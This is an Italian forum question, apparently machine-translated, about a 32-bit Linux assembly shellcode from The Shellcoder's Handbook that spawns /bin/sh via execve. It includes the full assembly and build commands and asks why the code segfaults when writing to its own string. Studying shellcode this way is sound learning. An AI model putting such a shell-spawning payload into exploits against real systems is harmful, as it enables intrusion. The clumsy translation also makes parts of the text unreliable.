Attualmente sto leggendo il libro Handbook of Wiley di Shellcoder, e sto avendo un grave problema nell'implementare uno dei shellcode di generazione di shell dal capitolo 3. Il codice è il seguente:
Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
Call shellcode
db ‘/bin/shJAAAAKKKK'
Per compilare (su una macchina a 32 bit), io uso:
%codice%
Ma quando eseguo il binario ottengo un segfault su shellcode + 3. Ho passato l'eseguibile in IDA con un po 'di fortuna. Dopo aver eseguito
$nasm -f elf32 -o shellcode.o shellcode.asm
$ld -o shellcode shellcode.o
Il programma genera una violazione di segmentazione di eccezione con il codice di errore 11. Modifico EIP per non eseguire l'istruzione, e continuo, ma non appena mov byte [esp+7],al
I ottiene nuovamente un segfault.
- Perché il programma segifica? Questo è un semplice testo ASCII, quindi l'offset deve essere corretto.
- Ho provato ad usare anche altri registri ma con un po 'di fortuna.
- Ho provato l'exploit sopra su Fedora, Kali 2.0 e Ubuntu 14 e alcune varianti Linux non così popolari (tutte a 32 bit). Tutti generano lo stesso errore. Ho disabilitato ASLR su tutti loro.
Sarei felice di aggirare questo. Grazie in anticipo.